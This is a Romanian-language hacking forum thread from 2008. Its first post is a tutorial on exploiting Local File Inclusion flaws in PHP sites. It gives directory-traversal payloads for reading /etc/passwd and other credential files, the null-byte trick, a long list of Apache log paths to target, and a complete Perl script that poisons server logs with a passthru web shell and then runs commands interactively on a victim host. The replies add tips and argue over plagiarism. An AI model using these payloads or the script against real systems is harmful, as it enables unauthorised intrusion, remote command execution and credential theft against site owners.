CODEX Posted July 14, 2008 Report Posted July 14, 2008 Buna ziua! In acest tutorial o sa invatati cum cum sa exploatati vulnerabilitatea LFI dintr-un site.Mai intai, sa vedem acest mic cod php:<?php$page = $_GET;include($page);?> Acesta este un cod care nu ar trebui folosit niciodata, vulnerabil la LFI, pentru ca variabila $page nu este santinizata.Ok, acum sa profitam de aceasta vulnerabilitate, folosind urmatorul cod:site.host/index.php?page=../../../../../../../etc/passwd In unele cazuri nu mai este nevoie sa punem ../../../../../../.., etc/passwd fiind de ajuns pentru a avea acces unde trebuieDaca siteul este gazduit Unix, parolele userilor sunt stocate in /etc/passwd (in cazul in care parola nu este shadow, in acest caz ea aflandu-se in /etc/shadow, unde vom putea avea acces doar daca am avea drepturi de root), si codul de mai sus ne arata aceste parole si usernameurile. Acum tot ce mai ai de facut este sa decodezi parola.O parola criptata(in acest caz, parola este shadowed si se afla in /etc/shadow), ar trebui sa arate cam asa:username:x:503:100:FullName:/home/username:/bin/sh In acest caz, parola este shadowed si se afla in /etc/shadow), alt exemplu de parola fiind:username:!:503:100:FullName:/home/username:/bin/sh Alte "locuri" unde puteti gasi parolele in afara de /etc/passwd ar cam fi:/etc/shadow/etc/group/etc/master.passwd/etc/security/group/etc/security/passwd/etc/security/user/etc/security/environ/etc/security/limits In caz ca Browserul va arata la sfarsitul includerii un .php (si automat. /etc/passwd.php nu va mai exista), adaugati la sf includerii %00, serverul va omite tot ce scrie dupa %00.Exemplu de cod:site.host/index.php?file=../../../../../../../../etc/passwd%00 Acum vom incerca sa rulam comenzi pe server injectand coduri php in loguri, apoi rulandu-le.Cateva adrese de loguri:../apache/logs/error.log../apache/logs/access.log../../apache/logs/error.log../../apache/logs/access.log../../../apache/logs/error.log../../../apache/logs/access.log../../../../../../../etc/httpd/logs/acces_log../../../../../../../etc/httpd/logs/acces.log../../../../../../../etc/httpd/logs/error_log../../../../../../../etc/httpd/logs/error.log../../../../../../../var/www/logs/access_log../../../../../../../var/www/logs/access.log../../../../../../../usr/local/apache/logs/access_log../../../../../../../usr/local/apache/logs/access.log../../../../../../../var/log/apache/access_log../../../../../../../var/log/apache2/access_log../../../../../../../var/log/apache/access.log../../../../../../../var/log/apache2/access.log../../../../../../../var/log/access_log../../../../../../../var/log/access.log../../../../../../../var/www/logs/error_log../../../../../../../var/www/logs/error.log../../../../../../../usr/local/apache/logs/error_log../../../../../../../usr/local/apache/logs/error.log../../../../../../../var/log/apache/error_log../../../../../../../var/log/apache2/error_log../../../../../../../var/log/apache/error.log../../../../../../../var/log/apache2/error.log../../../../../../../var/log/error_log../../../../../../../var/log/error.log Ok, acum sa aruncam o privire asupra logului in care se salveaza paginile care nu exista si urmatorul cod: <? passthru($_GET[cmd]) ?>. Daca scriem in browser:site.host/<? passthru($_GET[cmd]) ?> O sa ne arate evident o pagina in care scrie ca acest cod nu exista pe server, deoarece browserul encodeaza automat URL'ul si pagina pe care noi am accesat-o, browserul o traduce in:site.host/%3C?%20passthru($_GET[cmd])%20?> Deci va trebui sa facem altceva... Putem utiliza urmatorul script perl:#!/usr/bin/perl -wuse IO::Socket;use LWP::UserAgent;$site="victim.com";$path="/folder/";$code="<? passthru($_GET[cmd]) ?>";$log = "../../../../../../../etc/httpd/logs/error_log";print "Trying to inject the code";$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$site", PeerPort=>"80") or die " Connection Failed. ";print $socket "GET ".$path.$code." HTTP/1.1 ";print $socket "User-Agent: ".$code." ";print $socket "Host: ".$site." ";print $socket "Connection: close ";close($socket);print " Code $code sucssefully injected in $log ";print " Type command to run or exit to end: ";$cmd = <STDIN>;while($cmd !~ "exit") {$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$site", PeerPort=>"80") or die " Connection Failed. "; print $socket "GET ".$path."index.php=".$log."&cmd=$cmd HTTP/1.1 "; print $socket "Host: ".$site." "; print $socket "Accept: */* "; print $socket "Connection: close "; while ($show = <$socket>) { print $show; }print "Type command to run or exit to end: ";$cmd = <STDIN>;} Copy/Paste la chestia asta si salveaz-o ca ex.pl, dar nu uita sa modifici in exploit urmatoarele lucruri:1) modifica numele siteului2) modifica numele logului si calea catre el3) schimba index.php= cu ce doresti tuRulati scriptul si el va va intreba ce comenzi sa rulati !!! Va descurcati de aici incolo !!!Linkuri utile: http://www.milw0rm.com/video/watch.php?id=57Acesta este un mic tutorial video, incercati sa-l vizionati ca este foarte bun.by Vladii Quote
Guest Kenpachi Posted July 14, 2008 Report Posted July 14, 2008 cea mai veche si cea mai ineficienta metoda de exploatare ... va recomand sa cautati httpd.conf si sa il parsati sa cautati logurile acolo pentru ca nu toate serverele mai au access.log ci loguri customizate pt fiecare site/vhost felul cum e facut tutorialul e ok. Quote
CODEX Posted July 14, 2008 Author Report Posted July 14, 2008 Nu l-am copiat . am in PC un folder plin cu totoriale cu chestii din astea despre xss lfi si tot felu M-am gandit sa il postez .. nimeni nu s-a semnat in el si le am si de mult .. Quote
Hertz Posted July 14, 2008 Report Posted July 14, 2008 Ce zici de asta? http://rstcenter.com/forum/viewtopic.php?p=35804&highlight=#35804 Quote
CODEX Posted July 15, 2008 Author Report Posted July 15, 2008 Aha deci era a lu vladii .. bun acuma trec si credit ..N-am stiut ca mai e postat odata ...Eventual un admin sa il trm la gunoi nu are rost sa fie de doua ori ...Trebuia sa caut ininte sa postez Quote
escalation666 Posted July 15, 2008 Report Posted July 15, 2008 vladutz doar l-a tradus, dupa ce in prealabil nu a acordat credits Quote
Guest Kenpachi Posted July 17, 2008 Report Posted July 17, 2008 plagiatorul plagiaza un plagiator. Quote
CODEX Posted July 17, 2008 Author Report Posted July 17, 2008 plagiatorul plagiaza un plagiator.)) poi eu mereu acord credit daca nu-s tutorialele mele ..dar daca le gasesc fara credit pe internet sau la mine in PC ce sa fac ? Quote
TheBes7 Posted July 17, 2008 Report Posted July 17, 2008 Am o intrebare, sa zicem ca luam urmatorul cod:../../../../../../../etc/httpd/logs/acces_log Chestiile astea :../../Inseamna cat de mult sa urce in directoriu? Adica ../ a mai urcat un folder, ../ a mai urcat alt folder si tot asa?Cand sti ca a urcat destule foldere ca sa adaugi la sfarsit etc/passwd. ? Quote